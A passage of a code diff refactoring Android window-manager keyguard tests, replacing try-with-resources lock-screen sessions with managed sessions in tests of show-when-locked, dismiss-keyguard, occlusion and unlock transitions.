+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ADD_ACTIVITY, true);
}
/**
@@ -276,24 +268,23 @@
*/
@Test
@FlakyTest
- public void testInheritShowWhenLockedRemove() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
+ public void testInheritShowWhenLockedRemove() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- launchActivity(INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY);
- mAmWmState.computeState(
- SHOW_WHEN_LOCKED_ATTR_ACTIVITY, INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY, true);
+ launchActivity(INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY);
+ mAmWmState.computeState(
+ SHOW_WHEN_LOCKED_ATTR_ACTIVITY, INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- assertTrue(mKeyguardManager.isKeyguardLocked());
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY, false);
- }
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ assertTrue(mKeyguardManager.isKeyguardLocked());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_REMOVE_ACTIVITY, false);
}
/**
@@ -302,23 +293,22 @@
* */
@Test
@FlakyTest
- public void testInheritShowWhenLockedAttr() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
+ public void testInheritShowWhenLockedAttr() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- launchActivity(INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.computeState(
- SHOW_WHEN_LOCKED_ATTR_ACTIVITY, INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
+ launchActivity(INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.computeState(
+ SHOW_WHEN_LOCKED_ATTR_ACTIVITY, INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- }
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
}
/**
@@ -327,63 +317,62 @@
* */
@Test
@FlakyTest
- public void testNoInheritShowWhenLocked() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
+ public void testNoInheritShowWhenLocked() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- launchActivity(NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.computeState(
- SHOW_WHEN_LOCKED_ATTR_ACTIVITY, NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
+ launchActivity(NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.computeState(
+ SHOW_WHEN_LOCKED_ATTR_ACTIVITY, NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, true);
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- assertTrue(mKeyguardManager.isKeyguardLocked());
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- mAmWmState.assertVisibility(NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
- }
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ assertTrue(mKeyguardManager.isKeyguardLocked());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
+ mAmWmState.assertVisibility(NO_INHERIT_SHOW_WHEN_LOCKED_ATTR_ACTIVITY, false);
}
@Test
public void testNoTransientConfigurationWhenShowWhenLockedRequestsOrientation() {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final ActivitySessionClient activitySession = new ActivitySessionClient(mContext)) {
- final ActivitySession showWhenLockedActivitySession =
- activitySession.startActivity(getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY));
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY, true);
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final ActivitySessionClient activitySession = createManagedActivityClientSession();
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
+ final ActivitySession showWhenLockedActivitySession =
+ activitySession.startActivity(getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setTargetActivity(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY));
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY, true);
- separateTestJournal();
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
- final int displayId = mAmWmState.getAmState()
- .getDisplayByActivity(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
- ActivityManagerState.ActivityDisplay display = mAmWmState.getAmState()
- .getDisplay(displayId);
- final int origDisplayOrientation = display.mFullConfiguration.orientation;
- final int orientation = origDisplayOrientation == Configuration.ORIENTATION_LANDSCAPE
- ? SCREEN_ORIENTATION_PORTRAIT
- : SCREEN_ORIENTATION_LANDSCAPE;
- showWhenLockedActivitySession.requestOrientation(orientation);
+ separateTestJournal();
- mAmWmState.waitForActivityOrientation(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY,
- orientation == SCREEN_ORIENTATION_LANDSCAPE
- ? Configuration.ORIENTATION_LANDSCAPE
- : Configuration.ORIENTATION_PORTRAIT);
+ final int displayId = mAmWmState.getAmState()
+ .getDisplayByActivity(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY);
+ ActivityManagerState.DisplayContent display = mAmWmState.getAmState()
+ .getDisplay(displayId);
+ final int origDisplayOrientation = display.mFullConfiguration.orientation;
+ final int orientation = origDisplayOrientation == Configuration.ORIENTATION_LANDSCAPE
+ ? SCREEN_ORIENTATION_PORTRAIT
+ : SCREEN_ORIENTATION_LANDSCAPE;
+ showWhenLockedActivitySession.requestOrientation(orientation);
- display = mAmWmState.getAmState().getDisplay(displayId);
+ mAmWmState.waitForActivityOrientation(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY,
+ orientation == SCREEN_ORIENTATION_LANDSCAPE
+ ? Configuration.ORIENTATION_LANDSCAPE
+ : Configuration.ORIENTATION_PORTRAIT);
- // If the window is a non-fullscreen window (e.g. a freeform window) or the display is
- // squared, there won't be activity lifecycle.
- if (display.mFullConfiguration.orientation != origDisplayOrientation) {
- assertActivityLifecycle(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY,
- false /* relaunched */);
- }
+ display = mAmWmState.getAmState().getDisplay(displayId);
+
+ // If the window is a non-fullscreen window (e.g. a freeform window) or the display is
+ // squared, there won't be activity lifecycle.
+ if (display.mFullConfiguration.orientation != origDisplayOrientation) {
+ assertActivityLifecycle(SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY,
+ false /* relaunched */);
}
}
@@ -407,156 +396,147 @@
}
private void testResumeOccludingActivityFromBackground(ComponentName occludingActivity) {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
- // Launch an activity which is able to occlude keyguard.
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(occludingActivity).execute();
+ // Launch an activity which is able to occlude keyguard.
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(occludingActivity).execute();
- // Launch an activity without SHOW_WHEN_LOCKED and finish it.
- getLaunchActivityBuilder().setUseInstrumentation()
- .setMultipleTask(true)
- // Don't wait for activity visible because keyguard will show.
- .setWaitForLaunched(false)
- .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).execute();
- mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
+ // Launch an activity without SHOW_WHEN_LOCKED and finish it.
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setMultipleTask(true)
+ // Don't wait for activity visible because keyguard will show.
+ .setWaitForLaunched(false)
+ .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).execute();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
- mBroadcastActionTrigger.finishBroadcastReceiverActivity();
- mAmWmState.waitForKeyguardShowingAndOccluded();
+ mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+ mAmWmState.waitForKeyguardShowingAndOccluded();
- // The occluding activity should be resumed because it becomes the top activity.
- mAmWmState.computeState(occludingActivity);
- mAmWmState.assertVisibility(occludingActivity, true);
- assertTrue(occludingActivity + " must be resumed.",
- mAmWmState.getAmState().hasActivityState(occludingActivity,
- ActivityManagerState.STATE_RESUMED));
- }
+ // The occluding activity should be resumed because it becomes the top activity.
+ mAmWmState.computeState(occludingActivity);
+ mAmWmState.assertVisibility(occludingActivity, true);
+ assertTrue(occludingActivity + " must be resumed.",
+ mAmWmState.getAmState().hasActivityState(occludingActivity,
+ ActivityManagerState.STATE_RESUMED));
}
/**
* Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
*/
@Test
- public void testDismissKeyguardActivity() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.waitForKeyguardShowingAndOccluded();
- mAmWmState.computeState(DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- }
+ public void testDismissKeyguardActivity() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.computeState(DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
@Test
- public void testDismissKeyguardActivity_method() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- separateTestJournal();
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- mAmWmState.waitForKeyguardGone();
- mAmWmState.computeState(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_METHOD_ACTIVITY, true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceeded(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- }
+ public void testDismissKeyguardActivity_method() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ separateTestJournal();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(DISMISS_KEYGUARD_METHOD_ACTIVITY);
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(DISMISS_KEYGUARD_METHOD_ACTIVITY);
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_METHOD_ACTIVITY, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceeded(DISMISS_KEYGUARD_METHOD_ACTIVITY);
}
@Test
- public void testDismissKeyguardActivity_method_notTop() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- separateTestJournal();
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(BROADCAST_RECEIVER_ACTIVITY);
- launchActivity(TEST_ACTIVITY);
- mBroadcastActionTrigger.dismissKeyguardByMethod();
- assertOnDismissError(BROADCAST_RECEIVER_ACTIVITY);
- }
+ public void testDismissKeyguardActivity_method_notTop() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ separateTestJournal();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+ launchActivity(TEST_ACTIVITY);
+ mBroadcastActionTrigger.dismissKeyguardByMethod();
+ assertOnDismissError(BROADCAST_RECEIVER_ACTIVITY);
}
@Test
- public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- separateTestJournal();
- lockScreenSession.sleepDevice();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.waitForKeyguardGone();
- mAmWmState.computeState(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.assertVisibility(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY, true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceeded(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY);
- assertTrue(isDisplayOn(DEFAULT_DISPLAY));
- }
+ public void testDismissKeyguardActivity_method_turnScreenOn() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ separateTestJournal();
+ lockScreenSession.sleepDevice();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceeded(TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY);
+ assertTrue(isDisplayOn(DEFAULT_DISPLAY));
}
@Test
- public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertKeyguardShowingAndOccluded();
- mBroadcastActionTrigger.dismissKeyguardByFlag();
- mAmWmState.assertKeyguardShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- }
+ public void testDismissKeyguard_fromShowWhenLocked_notAllowed() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mBroadcastActionTrigger.dismissKeyguardByFlag();
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
}
@Test
- public void testKeyguardLock() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(KEYGUARD_LOCK_ACTIVITY);
- mAmWmState.computeState(KEYGUARD_LOCK_ACTIVITY);
- mAmWmState.assertVisibility(KEYGUARD_LOCK_ACTIVITY, true);
- mBroadcastActionTrigger.finishBroadcastReceiverActivity();
- mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- }
+ public void testKeyguardLock() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(KEYGUARD_LOCK_ACTIVITY);
+ mAmWmState.computeState(KEYGUARD_LOCK_ACTIVITY);
+ mAmWmState.assertVisibility(KEYGUARD_LOCK_ACTIVITY, true);
+ mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
}
@Test
- public void testUnoccludeRotationChange() throws Exception {
-
+ public void testUnoccludeRotationChange() {
// Go home now to make sure Home is behind Keyguard.
- pressHomeButton();
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final RotationSession rotationSession = new RotationSession()) {
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ launchHomeActivity();
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final RotationSession rotationSession = createManagedRotationSession();
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- rotationSession.set(ROTATION_90);
- pressBackButton();
- mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.waitForDisplayUnfrozen();
- mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
- mAmWmState.assertSanity();
- mAmWmState.assertHomeActivityVisible(false);
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- // The activity may not be destroyed immediately.
- mAmWmState.waitForWithWmState(
- wmState -> !wmState.containsWindow(getWindowName(SHOW_WHEN_LOCKED_ACTIVITY)),
- "Waiting for " + getActivityName(SHOW_WHEN_LOCKED_ACTIVITY) + " to be removed");
- // The {@link SHOW_WHEN_LOCKED_ACTIVITY} has gone because of {@link pressBackButton()}.
- mAmWmState.assertNotExist(SHOW_WHEN_LOCKED_ACTIVITY);
- }
+ rotationSession.set(ROTATION_90);
+ pressBackButton();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.waitForDisplayUnfrozen();
+ mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ mAmWmState.assertSanity();
+ mAmWmState.assertHomeActivityVisible(false);
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ // The activity may not be destroyed immediately.
+ mAmWmState.waitForWithWmState(
+ wmState -> !wmState.containsWindow(getWindowName(SHOW_WHEN_LOCKED_ACTIVITY)),
+ getActivityName(SHOW_WHEN_LOCKED_ACTIVITY) + " to be removed");
+ // The {@link SHOW_WHEN_LOCKED_ACTIVITY} has gone because of {@link pressBackButton()}.
+ mAmWmState.assertNotExist(SHOW_WHEN_LOCKED_ACTIVITY);
}
private void assertWallpaperShowing() {
@@ -567,24 +547,23 @@
}
@Test
- public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice();
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.sleepDevice();
- separateTestJournal();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
- assertTrue(isDisplayOn(DEFAULT_DISPLAY));
- }
+ separateTestJournal();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
+ assertTrue(isDisplayOn(DEFAULT_DISPLAY));
}
@Test
- public void testScreenOffWhileOccludedStopsActivityNoAod() throws Exception {
+ public void testScreenOffWhileOccludedStopsActivityNoAod() {
try (final AodSession aodSession = new AodSession()) {
aodSession.setAodEnabled(false);
testScreenOffWhileOccludedStopsActivity(false /* assertAod */);
@@ -592,7 +571,7 @@
}
@Test
- public void testScreenOffWhileOccludedStopsActivityAod() throws Exception {
+ public void testScreenOffWhileOccludedStopsActivityAod() {
try (final AodSession aodSession = new AodSession()) {
assumeTrue(aodSession.isAodAvailable());
aodSession.setAodEnabled(true);
@@ -626,7 +605,7 @@
}
@Test
- public void testScreenOffCausesSingleStopNoAod() throws Exception {
+ public void testScreenOffCausesSingleStopNoAod() {
try (final AodSession aodSession = new AodSession()) {
aodSession.setAodEnabled(false);
testScreenOffCausesSingleStop();
@@ -634,7 +613,7 @@
}
@Test
- public void testScreenOffCausesSingleStopAod() throws Exception {
+ public void testScreenOffCausesSingleStopAod() {
try (final AodSession aodSession = new AodSession()) {
assumeTrue(aodSession.isAodAvailable());
aodSession.setAodEnabled(true);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index 797941f..b941913 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -43,6 +43,7 @@
* atest CtsWindowManagerDeviceTestCases:KeyguardTransitionTests
*/
@Presubmit
+@android.server.wm.annotation.Group2
public class KeyguardTransitionTests extends ActivityManagerTestBase {
@Before
@@ -55,112 +56,99 @@
}
@Test
- public void testUnlock() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(TEST_ACTIVITY);
- lockScreenSession.gotoKeyguard()
- .unlockDevice();
- mAmWmState.computeState(TEST_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- }
+ public void testUnlock() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(TEST_ACTIVITY);
+ lockScreenSession.gotoKeyguard().unlockDevice();
+ mAmWmState.computeState(TEST_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
@Test
- public void testUnlockWallpaper() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(WALLPAPAER_ACTIVITY);
- lockScreenSession.gotoKeyguard()
- .unlockDevice();
- mAmWmState.computeState(WALLPAPAER_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- }
+ public void testUnlockWallpaper() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(WALLPAPAER_ACTIVITY);
+ lockScreenSession.gotoKeyguard().unlockDevice();
+ mAmWmState.computeState(WALLPAPAER_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
@Test
- public void testOcclude() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- }
+ public void testOcclude() {
+ createManagedLockScreenSession().gotoKeyguard();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
@Test
- public void testUnocclude() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- launchActivity(TEST_ACTIVITY);
- mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.computeState(true);
